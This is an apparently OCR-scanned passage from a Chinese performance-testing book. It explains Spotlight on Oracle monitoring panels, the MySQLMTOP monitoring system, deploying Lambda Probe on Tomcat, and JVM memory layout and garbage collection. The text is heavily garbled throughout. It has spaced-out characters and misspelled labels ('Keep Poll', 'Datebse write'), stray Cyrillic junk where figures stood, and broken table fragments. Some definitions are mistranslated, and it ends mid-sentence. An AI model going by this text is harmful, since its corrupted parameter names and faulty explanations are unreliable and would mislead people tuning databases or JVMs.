: Run Queue: CPU 使 用 滚动 条 ， 如 果 绿 色 滚 动 条 达到 100%， 则 说 明 CPU 瓶 颈 。 


: Free Physical RAM: 物理 随机 存 取 内 存 。 


* StealthCollect: 收集 SQL 语句 的 性 能 指标 。 


3) Server Processes Panel 面 板 说 明 。 


: РСА Target/Used: 显示 PGA 目 标 总 数 及 当前 使 用 数 。 


: Dedicated: 显示 专用 服务 器 进程 数 。 


Dispatchets: 显示 调度 进程 数 。 
parallel query: 并 行 查询 服务 器 数 。 


:JobQueue: 显示 作业 进程 数 。 


UG KB/5 


Disk Storage 


Database Files 
omine 
Hes 


Online 
Tabiespaces 


Redo Logs 


Groups 


Archive Log 
Destnations 


Disks 
Tota 


Free (min) 


数据 流向 : 从 上 往 下 依次 为 从 Disk Storage Panel 来 的 数据 传输 速率 、 从 SGA Panel 来 的 数据 传输 速率 、 每 秒 改变 数 、 每 秒 日 志 入 口 数 、 每 秒 解析 请 求 数 、 每 秒 SQL 执 行 数 。 


4) SGA Pane| 面 板 说 明 。 
: Curent Size: 当前 SGA 大 小 。 
: Buffer Cache: 数据 缓冲 区 大 小 。 


: Keep Poll: 保持 的 缓冲 池 大 小 。 


: Recycle Poll: 重复 利用 的 缓冲 池 大 小 。 

. Buffer Catch hit Ratio: 数据 缓冲 区 命中 率 。 

. Redo Buffer: 缓冲 区 大 小 。 

: Shared Pool: 共享 池 大 小 。 

* Shared Pool Used: 已 使 用 的 共享 池 。 

. Java Poll: Java 池 大 小 。 

: Large Poll: Large 池 大 小 。 
数据 流向 : 从 上 往 下 依次 为 数据 库 写 的 速度 、 日 志 写 的 速度 。 
5) Background Processes Pane| 面 板 说 明 。 

: Datebse write: 数据 库 写 进程 。 

: Recovery write: 数据 库 重 复写 进程 。 

· Redo log write: 日 志 写 进程 。 

: Archive: 归档 进程 。 

“ 数据 流程 : 从 上 往 下 依次 为 数据 库 写 进程 速度 、 日 志 写 进程 速度 、 从 Disk Storage Panel 来 的 数据 传输 速率 、 到 Disk Storage Panel 去 的 数据 传输 速率 。 
6) Background Processes Pane| 面 板 说 明 。 

: DatabaseFiles: 显示 数据 文件 使 用 情况 ， 包 括 联机 数据 文件 数 、 联 机 表 空 间 数 、 已 使 用 的 空间 。 

: Redo Logs: 联机 日 志文 件 情况 ， 包 括 日 志 组 数 、 日 志 大 小 。 

Archive Log: 归档 日 志 情 况 ， 包 括 归 档 目 的 地 数 、 磁 盘 数 、 总 空间 、 自 由 空间 。 

(2) Top Sessions 
通过 Top Session 面 板 可 以 查看 当前 哪个 Session 当 前 占用 了 大 量 的 资源 、 最 耗费 某 些 资源 的 会 话 及 其 详细 信息 、 执 行 并 行 查询 的 会 话 的 信息 、DBMS Jobs 的 信息 ， 如 图 9-30 所 示 。 
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Block gets; Piryssicar reads; 
Consstent gets: СРО utilzation (ms): 


Block chances: HiEratio (25): 


| Program: k. : i DB suffer - Buffer busy 


Wait state/ume: 
атаа far: 
Mastrecent Sul: | select count(*) as counter 
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9-30 Тор Sessions 界 面 


单 击 Top Sessions 列 表 ， 在 Session Information 中 显示 该 会 话 的 所 有 详细 人 信息， 同样 可 以 查看 执行 计划 是 否 存 在 全 表 扫 描 ， 查 看 当前 哪个 Session 占 用 了 大 量 的 资源 ， 以 此 定位 数据 库 问 题 。 单 击 
Session Waits， 可 以 找 出 与 该 session 相 关 的 等 待 事件 ; 单 击 Session Locks， 可 以 显示 相关 的 锁 信 息 。 需 要 注意 以 下 几 点 。 


: most recent sql: 可 以 用 来 确定 当前 占用 资源 最 大 的 SQL 语句。 
` Session waits: 可 以 找 出 与 该 session 相 关 的 等 待 事件 。 

: Session locks: 显示 相关 的 锁 信 息 。 

(3) Top SQL 


Top SQL 可 以 根据 条 件 查 看 libraryCache 中 相应 的 SQL， 主 要 的 选项 为 sorting， 可 以 据 此 找 出 消耗 资源 大 的 SQL， 如 图 9-31 所 示 。 
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图 9-31 Top SQL 界面 

1) 使 用 方法 。 

- 通过 Parsing usefr 可 筛选 某 个 用 户 的 SQL 语句 。 

- ifi it Minimum executions 可 筛选 出 比较 耗 时 间 的 SQL 语句 。 

: 通过 Contents 可 筛选 含有 某 关 键 字 的 SQL 语句 (关键 字 可 以 是 表 名 、 字 段 名 、order by 等 任何 SQL 语句 的 字符 ， 但 必须 是 SQL 语句 的 前 1000 字 节 ) 。 
. 通过 sort by， 可 让 结果 按 “ 消 耗 时 间 ”、“ 缓 冲 数 ”、“ 磁 盘 写 ”等 排序 。 

. 通过 descending order， 可 让 结果 按 降序 显示 。 

: 在 Operation 项 中 ， 可 以 检查 是 否 存 在 Table Access Full 全 表 扫 描 。 

. 单 击 工具 栏 的 Show Desctibe， 可 查看 该 SQL 语句 中 所 有 表 的 索引 。 
2) 经 验 介绍 。 

: 如 果 Optimizet cost 的 值 较 大 ， 则 可 能 存在 Table Access Full, 

: de Hit tate 的 值 较 小 ， 也 就 是 命中 率 比 较 低 ， 则 说 明 效率 较 低 (一般 小 于 95%) o 

(4) Activity 
Activity 主 要 提供 了 等 待 事件 、 锁 等 待 、 闫 锁 等 待 、 当 前 事务 ， 如 图 9-32 所 示 。 
Activity 界 面 有 很 多 选项 卡 ， 下 面 进 行 简单 介绍 。 

| Summary: 显示 示例 总 体 状 况 。 


: Wait 和 Waiting Events: 显示 当前 数据 库 的 等 待 事件 。 
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· Blocking Locks: 显示 数据 库 的 阻塞 和 死 锁 情况 ， 可 以 用 来 解决 数据 库 锁 方面 的 问题 。 

· Lock Activity: 显示 数据 库 锁 资源 的 使 用 情况 。 

: Latches: 显示 数据 库 Latch 的 活动 状况 。 

' Server: 显示 数据 库 服务 进程 的 活动 状况 。 

- Transaction: 显示 数据 库 事 务 的 活动 状况 。 

: Rollback Segment: 显示 数据 库 回 退 段 的 配置 和 活动 状况 。 

: Buffer Busy Waits: 显示 哪些 数据 块 由 于 频繁 访问 而 处 于 等 待 状态 。 
Activity 界 面 展 示 的 图 形 分 为 六 大 块 ， 分 别 为 Logical I/O, Physical MO、Event waits, Sessions, Call rates, Miss rates, 
DLogical I/O. 
每 秒 逻 辑 读 / 写 的 次 数 ， 向 数据 库 做 任何 操作 ，Oracle 都 会 先 到 SGA 中 查找 有 没有 用 户 所 需 的 数据 ， 如 有 就 即时 返回 ,没有 再 通过 Physical MO 来 向 data file 读 数据 ， 从 而 减少 Physical MO 的 读 写 。 
- Block changes: 修改 数据 阻塞 。 

: Current reads: 更 新 数据 阻塞 的 数目 。 

: Consistent reads: 查询 数据 阻塞 的 数目 。 
Q@Physical 1/0. 
每 秒 磁盘 物理 读 / 写 次 数 ， 当 读 / 写 次 数 多 的 时 候 ，MO 设 备 消耗 时 间 多 了 ， 必 然 导 致 数据 库 性 能 下 降 。 

: Datafile reads: 读 取 数据 文件 的 文件 数目 。 

: Datafile writes: 写 入 数据 文件 的 文件 数目 。 

· Redo writes: 写 入 重 做 日 志 的 文件 数目 。 

GEvent waits, 

: Contrl File IO: 控制 文件 的 读 写 等 待 时 间 。 

: Buffer busy: 高 速 缓存 繁忙 等 待 时 间 。 

: Other: 其 他 的 等 待 时 间 。 

: Single block read: 单个 数据 阻塞 的 等 待 时 间 。 


: Multi-block read: 多 个 数据 阻塞 的 等 待 时 间 。 


: Direct path read: 直接 读 取 的 等 待 时 间 。 
- Datafile write: 数据 文件 写 的 等 待 时 间 。 
: Log write: 


日 志文 件 写 的 等 待 时 间 。 
@Sessions, 


: Idle: 空闲 session 的 数目 。 
* Active: 正在 运行 的 session 的 数目 。 
: System: system session 的 数目 。 


(Call rates, 


Parse: 分 析 请 求 执行 的 SQL 语 句 的 调用 次 数 。 


: Execute: 执行 的 次 数 。 


- Commit: 提交 的 调用 次 数 。 


: Rollback: 回 滚 的 调用 次 数 。 
: Hard parse: 分 析 请 求 执行 的 SQL 语 句 ， 并 分 配 栈 空间 的 访问 调用 次 数 。 
@Miss rates, 


: Buffer cache: 在 高 速 缓存 读 取 的 不 命中 率 。 


- Latch: $ 


' SQL area: т) 8 K 2 W SQLjE 6] 8g Жар HE. 
第 


一 次 尝试 闭锁 请 求 的 不 命中 率 。 
(5) I/O 


MO 界面 能 显示 表 空间 利用 率 


在 线 日 志和 磁盘 的 使 用 情况 ， 如 图 9-33 所 示 。 
界面 说 明 如 下 。 


: Summary: 显示 1/ 〇 整体 状况 ， 如 TOP Sessions. TOP Datafiles。 


Sessions: 显示 各 会 话 的 磁 诅 读 写 等 信息 
: Physical: 
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图 9-33 I/O 〇 界面 


(6) Configuration 


Configuration 显 示 SGA 使 用 情况 以 及 Oracle 配 置 参 数 ， 如 图 9-34 所 示 。 
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9-34 Configuration Jt m 
相关 使 用 如 下 。 
. 单 击 “Shared Pool Utilization" ， 可 以 查看 SGA 区 中 共享 池 的 使 用 情况 。 
: 单 击 “Buffer Cache”， 可 以 查看 缓冲 池 中 的 详细 信息 。 
: 单 击 “Oracle Parameters”， 可 以 查看 Oracle 系统 参数 。Spotlight 给 出 每 个 参数 的 具体 解释 和 当前 值 。 管 理 员 可 以 通过 Spotlight 修 改 部 分 参数 。 
(7) OS 
OS 显示 操作 系统 的 性 能 信息 ， 如 CPU 资 源 的 使 用 、 网 络 流量 、 页 面 交换 等 ， 如 图 9-35 所 示 。 
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图 9-35 OS 


单 击 “OS Process" my "OS Storage” , 可 以 查看 操作 系统 的 进程 和 文件 系统 信息 。 

(8) Disk Storage 

Disk Storage 显 示 表 空间 的 使 用 情况 、 重 做 日 志 的 相关 信息 ， 包 括 日 志 切 换 时 间 等 。 如 果 想 获取 有 关 空 间 的 进一步 信息 ， 可 以 启动 Space Manager 功 能 ， 如 图 9-36 所 示 。 
(9) "Taking 


Tuning 显 示 实 例 的 总 体 响应 时 间 、 内 存 的 智能 化 调 优 与 配置 、 多 CPU 下 Latch 的 使 用 情况 ， 如 图 9-37 所 示 ， 可 以 获取 Spotlight 推 荐 的 内 存 配置 。 
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经 验 : 如 果 主 要 等 待 事件 为 buffer busy wait， 等 待 类 别 为 data block， 那 么 可 能 是 以 下 原因 。 
1) 高 并 发 会 话 在 对 相同 的 对 象 执 行 DML， 同 时 db_block_size 尺 寸 较 大 (因为 同一 个 块 包含 更 多 的 行 ) 。 


2) 多 个 session 并 发 请 求 相同 的 数据 块 ， 但 因为 该 数据 块 不 在 buffer_cache 中 ， 而 必须 从 磁盘 读 取 ， 处 理 这 种 情况 时 ，oracle 会 只 让 其 中 一 个 sesion 进 行 磁盘 读 取 ， 其 他 session 会 等 待 块 从 磁盘 上 读 取 
数据 进 buffer cache， 而 抛 出 buffer busy wait 等 待 事件 。 


9.6.2 “MySQL 监控 分 析 


MySQL 的 性 能 监控 工具 有 很 多 ， 如 开源 的 RRDTool、Nagios、MRTG、Cacti 等 ， 小 白 在 这 里 选择 的 是 MySQLMTOP。 


MySQLMTOP 是 一 个 由 Python+PHP 开 发 的 开源 MySQL 企 业 监控 系统 。 系 统 由 Python 实现 多 进程 数据 采集 和 告警 ，PHP 实 现 Web 展 示 和 管理 。MySQL 服 务 器 无 须 安 装 任何 Agent， 只 需 在 监控 Web 
界面 配置 相关 数据 库 信 息 ， 启 动 监控 进程 后 ， 即 可 对 上 百 台 MySQL 数 据 库 的 状态 、 连 接 数 、QTS、TPS、 数 据 库 流量 、 复 制 、 性 能 慢 查 询 等 进行 实时 监控 ， 能 在 数据 库 偏离 设 定 的 正常 运行 阐 值 (如 连接 异 
常 、 复 制 异常 、 复 制 延 迟 ) 时 ， 发 送 报警 邮件 ， 通 知 到 相关 责任 人 进行 处 理 ， 并 对 历史 数据 归档 ， 通 过 图 表 展 示 数 据 库 近 期 状态 ， 以 便 DBA 和 开发 人 员 、 性 能 测试 人 员 等 能 对 遇 到 的 问题 进行 分 析 和 诊断 。 
MySQL MTOP 主 要 功能 特性 如 下 。 


(1) 实时 MySQL 可 用 性 监 
数据 库 可 用 性 监视 和 衡量 可 以 让 开发 者 和 DBA 了 解数 据 库 是 否 符合 预期 的 性 能 要 求 。 
(2) 实时 MySQL 状 态 监 视 和 警报 


MySQL MTOP 持 续 监视 MySQL 的 基本 状态 和 性 能 信息 ， 包 括 数 据 库 连 接 状 态 、 启 动 时 间 、 数 据 库 版 本 、 总 连接 数 、 活 动 进程 、QPS、TPS、 进 出 MySQL 数 据 库 的 流量 信息 等 。 在 数据 库 状 态 异 常 或 偏 
离 正 常 基 准 水 平时 ， 发 出 报警 邮件 ， 如 图 9-38 所 示 。 
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图 9-38 MySQL MTOP 报 警 
(3) 实时 MySQL 复 制 监 


MySQL MTOP 自 动 帮 现 MySQL 复 制 拓扑 结构 ， 自 动 监 视 数 据 库 的 延 时 和 binlog 信 息 ， 可 以 了 解 所 有 MySQL 主 服务 器 和 从 服务 器 的 性 能 、 可 用 性 和 运行 状况 。 并 在 问题 (如 从 服务 器 延迟 ) 导致 停机 
前 ， 向 管理 员 提供 改正 建议 ， 如 图 9-39 所 示 。 
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图 9-39 MySQL MTOP 复 制 监控 平台 
(4) 远程 监视 云 中 的 MySQL 
适合 于 云 和 虚拟 机 的 设计 ， 能 远程 监视 MySQL 服 务 器 ， 而 不 需要 任何 远程 代理 器 。 
(5) 直观 管理 所 有 MySQL 服 务 器 


MySQL MTOP 提 供 一 个 基于 Web 的 界面 ， 可 帮助 用 户 全 面 深入 地 了 解数 据 库 性 能 、 可 用 性 、 关 键 活动 等 ， 直 观 地 查看 一 台 服 务 器 、 自 定义 的 应 用 组 或 所 有 服务 器 。 一 组 丰富 的 实时 图 形 和 历史 图 形 将 
帮助 用 户 深入 了 解 详细 的 服务 器 统计 信息 ， 如 图 9-40 所 示 。 


ҤЕ ЧЕ Брыт (файлын {ТШЕ гаі сурда Amos ТҮС 


MySQL 状态 监控 平台 最新 检测 时 间 : 2014-02-13 182811 


* MySCLMTOPFAE AT: 1 监控 频 军 十 在 系统 管理 里 铺 进 且 配 是: 2 ВААР ЕЗИ З ТАНЯ. ЕШЛИ ЕКИ. SERHS. 


К = ЖЕШ 国 || star 


A| аак [| клен E] жык | нә [| ния Б ЕШ 


— me Z т — шай, 


Ei 


| 5.5274ва 


| Eram En | 5,5,14-1бд 
! - - == ———— 6 Loresum, — di | h. Xm i. 二 


| 5.5.14-ln.g 
| — 


E: 


| 
| 


ELI) mF 
| 2те = | 555:27-log 
E ов оза og 


| 


图 9-40 MySQL MTOP 状 态 监控 平台 


(6) 可 视 化 MySQL 慢 查询 分 析 


监视 实时 查询 性 能 ， 查 看 执行 统计 信息 ， 筛 选 和 定位 导致 性 能 下 降 的 SQL 人 代码。 结合 使 用 Information Schema， 可 直接 从 MySQL 服 务 器 收集 数据 ， 无 须 额外 的 软件 或 配置 ， 如 图 9-41 所 示 。 
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图 9-41 ”可视化 MySQL MTOP 慢 查询 分 析 
(7) MySQL 性 能 监视 


监视 影响 MySQL 性 能 的 主要 指标 ， 如 查询 缓存 命中 率 、Key_buffer read hits, Key buffer write hits, Thread cache hits, Key blocks used rate, Created tmp disk tables _rate 等 信息 ， 根 据 
相关 性 能 指标 可 以 对 服务 器 核心 参数 进行 调整 优化 ， 如 图 9-42 所 示 。 
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图 9-42 MySQL MTOP 性 能 监控 


97 ”中 间 件 性 能 监控 工具 以 及 使 用 


中 间 件 (Web 容器 ) 有 很 多 ， 如 Apache、Tomcat、Resin 等 ， 因 为 本 项 目 使 用 的 是 Tomcat， 所 以 先 只 介绍 Tomcat 的 性 能 监控 。 
Tomcat 监 控 工 具有 很 多 ， 如 Tomcat 自 带 的 status 监 控 、Lambda Probe， 其 中 Lambda Probe 监 控 项 稍微 多 一 些 。 


Lambda Probe 是 基于 Web+AJAX 的 强大 免费 开源 工具 ， 可 以 用 来 实时 管理 一 个 单独 的 host。Lambda Probe 拥 有 几乎 所 有 Tomcat Manager 的 功能 ， 可 以 说 是 一 个 增强 版 本 的 Tomcat Manager。 除 
此 之 外 ，Tomcat Probe 还 拥有 很 多 让 开发 者 和 系统 管理 者 、 性 能 测试 人 员 更 方便 的 性 能 ， 从 而 使 Tomcat 对 开发 者 和 管理 者 更 加 透明 。Lambda Probe 包 括 应 用 程序 、 数 据 源 、 发 布 、 日 志 、 线 程 、 集 群 、 
系统 信息 、 状 态 、 连 接 器 状态 功能 。 配 合 JDK， 甚 至 可 以 实时 显示 出 Server 的 详细 内 存 占用 状态 。 


Lambda Probe 的 官方 地 址 为 http://www.lambdaprobe.org， 在 此 可 以 下 载 Lambda Probe 的 最 新 版 本 。 


用 Tomcat manager 安 装 Probe: 下 载 Lambda Probe 的 .war 文 件 ， 启 动 Tomcat， 进 入 Manager URL (如 http://localhost:8080/manager/html) ， 使 用 “WAR file to deploy” 选 项 加 载 
probe.war。 也 可 以 手工 将 Probe 加 载 天 Tomcat 服 务 器 的 webapps 目 录 下 ，Probe 需 要 设置 manager 账 户 ， 即 在 conf/tomcat-users.xml 中 添加 manager 账 户 ，Probe 需 要 这 个 账户 才能 正确 登录 使 用 ， 具 
体 配置 如 下 。 


«role rolename-"manager"/» 


«user username="H]J1⁄4” password- Ef" roles-"manager"/» 


启动 Tomcat， 使 用 管理 账户 登录 http://IP:8080/probe/， 就 能 看 到 整个 监控 属性 ， 如 图 9-43 所 示 。 
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图 9-43 Probe 监控 Tomcat 


Probe 能 监控 到 Tomcat 的 以 下 信息 。 
“应 用 状态 。 


` 数据 库 连接 情况 。 


- 所 有 线程 状态 。 


| 监控 统计 Tomcat 的 连接 情况 。 


9.8 JVM 性 能 监控 工具 选择 以 及 使 用 


Java 应 用 的 核心 在 于 Java 虚 拟 机 (Java virtual machine, JVM) ， 它 是 实现 Java 语 言 跨 平 台 的 关键 。 用 java 语言 编写 的 源 程序 通过 Java 编译 器 ， 编 译 成 与 平台 无 天 的 “ 字 节 码 程序 ” (.class 文 件 ， 也 
就 是 0、1 二 进 制 程序 ) ， 然 后 在 ODS 之 上 的 Java 解 释 器 中 解释 执行 。 


9.8.1 JVM 内 存 结构 以 及 内 存 管 理 基础 知识 


推 和 栈 是 Java 程 序 运 行 的 关键 ， 很 有 必要 把 它们 的 关系 说 清楚 。Java 把 内 人 存 分 为 栈 内 存 和 堆 内 存 两 种 ， 栈 是 运行 时 的 单位 ， 而 堆 是 存储 的 单位 。 栈 解决 程序 的 运行 问题 ， 即 程序 如 何 执行 ， 或 者 说 如 何 
处 理 数据 ， 堆 解决 数据 存储 的 问题 ， 即 数据 怎么 放 、 放 在 哪儿 。 


\ 一 /一 


栈 是 Java 程 序 运 行 的 关键 ， 在 Java 中 ， 每 一 个 线程 都 会 有 一 个 与 之 对 应 的 线程 栈 。 它 是 由 许多 栈 帧 (stack frame) 或 者 帧 (frame) 组 成 的 ,一 个 栈 帧 包含 一 个 Java 方 法 调用 的 状态 。 当 线程 调用 一 个 
Java 方 法 时 ， 虚 拟 机 将 一 个 新 的 栈 帧 压 入 该 线程 的 Java 栈 中 ， 当 该 方法 返回 时 ， 这 个 栈 帧 被 从 Java 栈 中 弹出 并 抛 奔 。 总 结 起 来 就 是 ， 栈 负责 控制 Java 程 序 运行 过 程 中 的 进程 和 程序 处 理 逻 辑 。 


栈 帧 由 3 部 分 组 成 : 局 部 变量 区 、 操 作 数 栈 和 帧 数据 区 。 

1) 局 部 变量 区 ， 顾 名 思 义 ， 存 储 对 应 方法 的 参数 和 局 部 变量 。 

2) 操作 数 栈 ， 相 当 于 寄存 器 ， 存 储 虚 拟 机 的 程序 指令 。 

3) 帧 数据 区 ， 除 了 局 部 变量 区 和 操作 数 栈 中 的 数据 外 ，Java 栈 帧 还 需要 一 些 数据 来 支持 常量 池 解 析 ， 正 常 方法 返回 以 及 异常 派发 机 制 ， 这 些 信息 都 保存 在 帧 数据 区 中 。 


由 于 栈 的 结构 和 功能 设计 导致 它 不 适合 动态 增长 ， 因 此 在 Java 的 虚拟 机 规范 中 ， 栈 只 能 存储 基本 类 型 的 数据 和 对 堆 中 对 象 的 引用 。Java 栈 上 的 数据 都 是 此 线程 私有 的 ， 任 何 线程 都 不 能 访问 另外 一 个 线 
程 的 栈 数据 。 


在 Java 中 ， 一 个 线程 相应 有 一 个 线程 栈 与 之 对 应 ， 这 点 很 容易 理解 。 因 为 不 同 的 线程 执行 逻辑 有 所 不 同 ， 因 此 需要 一 个 独立 的 线程 栈 ， 而 堆 是 所 有 线程 共享 的 。 因 为 栈 是 运行 单位 ， 所 以 里 面 存 储 的 信 
息 都 是 与 当前 线程 (或 程序 ) 信息 相关 的 ， 包 括 局 部 变量 、 程 序 运行 状态 、 方 法 返回 值 等 ; 而 堆 只 负责 存储 对 象 信息 。 在 函数 中 定义 的 一 些 基本 类 型 的 变量 和 对 象 的 引用 变量 都 是 在 函数 的 栈 内 人 存 中 分 配 。 


当 在 一 段 代码 块 中 定义 一 个 变量 时 ，Java 就 在 栈 中 为 这 个 变量 分 配 内 存 空间 ， 超 过 变量 的 作用 域 后 ，Java 自 动 释放 为 该 变量 分 配 的 内 存 空 间 ， 该 内 存 空间 可 以 立刻 被 另 作 他 用 。 栈 的 优势 是 ， 存 取 速 度 比 堆 
要 快 ， 仅 次 于 寄存 器 ， 栈 数据 可 以 共享 。 但 缺点 是 ， 人 存在 栈 中 的 数据 大 小 与 生存 期 必须 是 确定 的 ， 缺 乏 灵 活性 。 


在 Java 中 ， 栈 的 大 小 通过 -Xss 来 设置 ， 当 栈 中 存储 数据 比较 多 时 ， 需 要 适当 调 大 这 个 值 ， 否 则 会 出 现 Java.lang.StackOverflowError 异 常 。 常 见 的 出 现 这 个 异常 的 是 无 法 返回 的 递归 调用 ， 因 为 此 时 栈 
中 保存 的 信息 都 是 方法 返回 的 记录 点 。 


1.JVM 内 存 结构 


JVM 初 始 分 配 的 内 存 由 -Xms 指 定 ， 默 认 是 物理 内 存 的 1/64; JVM 最 大 分 配 的 内 存 由 -Xmx 指 定 ， 默 认 是 物理 内 存 的 1/4。 默 认 空余 堆 内 存 小 于 40% 时 ，JVM 增 大 堆 内 存 ， 直 到 -Xmx 的 最 大 限制 ;空余 推 
内 存 大 于 70% 时 ，JVM 会 减少 堆 ， 直 到 -Xms 的 最 小 限制 。 因 此 服务 器 一 般 设 置 -Xms、-Xmx 相 等 ， 以 避免 每 次 GC 后 调整 堆 的 大 小 。 对 象 的 堆 内 存 由 称 为 垃圾 回收 器 的 自动 内 存 管理 系统 回收 ，JVM 堆 内 存 
空间 划分 如 图 9-44 所 示 。 
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图 9-44 JVMH 5 3E3⁄ А ARNA 
(1) 堆 内 存 划 分 
堆 内 存 划分 见 表 9-5。 
表 9-5 JVM 扒 内 存 划 分 及 说 明 
组 成 说 明 
年 轻 代 ， 即 图 9-45 中 的 Eden + From Spaca S0 )+ To SpacéS1), Æ JVM 内 存 设 置 中 ， 由 -Xmn 
参数 指定 年 轻 代 堆 内 存 大 小 \ 
伊 向 园区， 存放 新 生 的 对 象 ， 隶 属于 年 轻 代 , 在 JVM 内 存 设置 中 ， 可 以 由 -XX:SurvivorRatio 
参数 设 定 与 存活 区 的 占 比 
存活 区 ， 有 两 个 ， 存 放 每 次 Eden 区 垃 攻 回 收 后 存活 的 对 象 。 在 JVM 内 存 设置 中 ， 
由 -XX:SurvivorRatio 参数 设 定 与 伊甸园 区 的 占 比 
老年 代 ， 也 叫 Tenured Generation， 即 图 9-45 中 的 Old Space， 主 要 存放 应 用 程序 中 生命 周期 
长 的 存活 对 象 ， 在 JVM 内 存 设置 中 ， 由 -Xmx 值 减 去 -xmn "m 老年 代 的 大 小 


Young Generation 
Eden 

Survivor Space 
Old Generation 


(2) 非 堆 内 存 分 配 
JVM 使 用 -XX:Permsize 设 置 非 堆 内 存 初始 值 ， 默 认 是 物理 内 存 的 1/64; 由 XX:Max-PermSize 设 置 最 大 非 堆 内 存 的 大 小 ， 默 认 是 物理 内 存 的 1/4。 非 堆 内 存 的 组 成 如 表 9-6 所 示 。 
表 9-6 JVM 非 堆 内 存 组 成 
组 成 EM 


保存 虚拟 机 自己 的 静态 (refective) 数据 ， 主 要 存放 加 载 的 Class 类 级 别 静 态 对 象 ， 如 
class £ PR. method, field ^r. permanent generation 空间 不 足 会 引发 full GC 


Code Cache 用 于 编译 和 保存 本 地 代码 (native code) 的 内 存 


Permanent Generation 


关于 JVM 内 人 存 配置 参数 这 里 不 详细 介绍 。 大 家 关注 安 大 叔 博客 (http://andashu.blog.51cto.com/) 和 微 博 即 可 获得 最 新 消息 。 


2.JVM 内 存 管理 


基础 数据 类 型 直接 在 栈 空间 分 配 ， 方 法 的 形式 参数 直接 在 栈 空间 分 配 ， 方 法 调用 完成 后 ， 从 栈 空间 回收 。 引 用 数据 类 型 需要 用 new 来 创建 ， 既 在 栈 空间 分 配 一 个 地 址 空间 ， 又 在 堆 空 间 分 配对 象 的 类 


量 。 方 法 的 引用 参数 ， 在 栈 空 间 分 配 一 个 地 址 空间 ， 并 指向 推 空间 的 对 象 区 ， 方 法 调用 完 后 ， 从 栈 空 间 回 收 。 局 部 变量 new 出 来 时 ， 在 栈 空间 和 堆 空 间 中 分 配 空间 ， 局 部 变量 生命 周期 结束 后 ， 栈 空间 立刻 
被 回收 ， 堆 空间 区 域 等 待 GC 回 收 。 方 法 调用 时 ， 传 入 的 Literal 参 数 先 在 栈 空 间 分 配 ， 方 法 调用 完成 后 ， 从 栈 空间 释放 。 字 符 串 常量 在 DATA 区 域 分 配 ，this 在 推 空间 分 配 。 数 组 既 在 材 空 间 分 配 数组 名 称 ， 
又 在 堆 空 间 分 配 数组 实际 的 大 小 。 


在 学 习 垃 圾 回收 前 ， 先 了 解 JVM 对 垃圾 的 定义 : 一 个 对 象 创 建 后 被 放置 在 JVM 的 堆 内 存 中 ， 当 永远 不 再 引用 这 个 对 象 时 ， 它 将 在 堆 内 存 中 被 JVM 回 收 。 或 当 对 象 在 JVM 运 行 空 间 中 无 法 通过 根 集合 
(root set) 到 达 时 ， 这 个 对 象 就 被 称 为 垃圾 对 象 。 堆 内 存在 JVM 启 动 时 创建 ; 堆 内 存 中 所 存储 的 对 象 可 以 被 JVM 自 动 回 收 ， 不 能 通过 其 他 外 部 手段 回收 。 


堆 内 人 存 可 分 为 两 个 区 域 : 年 轻 代 和 老年 代 ， 年 轻 代 可 分 为 3 个 小 区 : Eden 区 、From 区 、To 区 。 对 象 优先 在 Eden 区 中 分 配 ，Eden 区 用 来 保存 新 创建 的 对 象 ， 当 Eden 区 中 的 对 象 满 了 之 后 ，JVM 将 会 做 
可 达 性 测试 ， 检 测 有 哪些 对 象 由 根 集合 出 发 是 不 可 达 的 ， 不 可 达 的 对 象 被 VM 回收 ， 并 将 所 有 活动 对 象 从 Eden 区 复制 到 To 区 ， 此 时 一 些 对 象 友 生 状态 交换 ， 有 的 对 象 从 To 区 转移 到 From 区 。 


JVM 内 存 申请 过 程 如 下 。 

1) 绝 大 多 数 刚 创建 的 对 象 会 被 分 配 在 Eden 区 ， 其 中 的 大 多 数 对 象 很 快 就 会 消亡 。Eden 区 是 连续 的 内 存 空间 ， 因 此 在 其 上 分 配 内 存 极 快 。 

2) 当 Eden 区 满 的 时 候 ， 执 行 Minor GC， 将 消亡 的 对 象 清理 ， 并 将 剩余 的 对 象 复制 到 一 个 存活 区 Survivor0。 

3) 此 后 ， 每 次 Eden 区 满 了 ， 就 执行 一 次 Minor GC， 并 将 剩余 的 对 象 都 添加 到 Survivor0。 

4) 当 Survivor0 也 满 的 时 候 ， 将 其 中 仍然 活着 的 对 象 直接 复制 到 Survivor1， 以 后 Eden 区 执行 Minor GC 后 ， 就 将 剩余 的 对 象 添加 到 Survivor1。 


5) 当 两 个 人 存活 区 切换 了 几 次 (HotSpot 虚 拟 机 默认 15 次 ， 用 -XX:MaxTenuringThreshold 控 制 ， 大 于 该 值 进入 老年 代 ， 但 这 只 是 个 最 大 值 ， 并 不 代表 一 定 是 这 个 值 ) 之 后 ， 仍 然 存活 的 对 象 (其实 只 有 
一 小 部 分 ， 如 用 户 自 定义 的 对 象 ) 将 被 复制 到 老年 代 。 


6) 大 对 象 也 直接 分 配 到 Old 区 。 

7) 当 Old 区 空间 不 够 时 ，JVM 会 在 Old 区 进行 major collection， 也 就 是 Full СС, 

8) 垃圾 完全 收集 后 ， 若 Survivor 及 Old 区 仍然 无 法 存放 从 Eden 复 制 过 来 的 部 分 对 象 ， 导 致 JVM 无 法 在 Eden 区 为 新 对 象 创 建 内 存 区 域 ， 则 会 出 现 “Out of memory 错误 ”。 
JVM 的 垃圾 回收 (GC) 分 为 Yong GC (简称 YGC) 以 及 Old СС (简称 FGC) ，GC 触 发 条 件 见 表 9-7。 


表 9-7 GC 触发 条 件 


触发 条 件 触发 时 的 活动 
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触发 条 件 触发 时 的 活动 


D 扫描 To Suvivor Space 时 ， 如 果 对 和 象 已 经 经 过 了 儿 次 的 扫描 仍 
AE i. JVM 就 认为 其 为 一 个 Old 对 象 ， 将 其 移 到 Old Gen 
D 443152, JVM 将 Eden Space 和 To Suvivor Space 清空 £^ 
后 交换 To #1 From 的 角色 ( 即 下 次 垃圾 回收 时 会 扫描 Eden Space 和 
From Suvivor Space 
注意 : 全 过 程 暂停 应 用 ， 是 否 为 多 线程 处 理由 具体 的 GC 策略 决定 
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^d 信息 时 Gmap-dump:live) 


3.VM 垃 圾 回收 器 

Java 的 垃圾 回收 器 要 负责 完成 以 下 3 个 任务 。 
1) 分 配 内 存 。 

2) 确保 被 引用 对 象 的 内 存 不 被 错误 回收 。 
3) 回收 不 再 被 引用 对 象 的 内 存 空间 。 


垃圾 回收 是 一 个 复杂 而 且 耗 时 的 操作 。 如 果 JVM 花 费 过 多 的 时 间 在 垃圾 回收 上 ， 则 势必 会 影响 应 用 的 运行 性 能 。 一 般 情况 下 ， 垃 圾 回收 器 在 进行 回收 操作 的 时 候 ， 整 个 应 用 的 执行 是 被 暂时 中 止 (stop- 
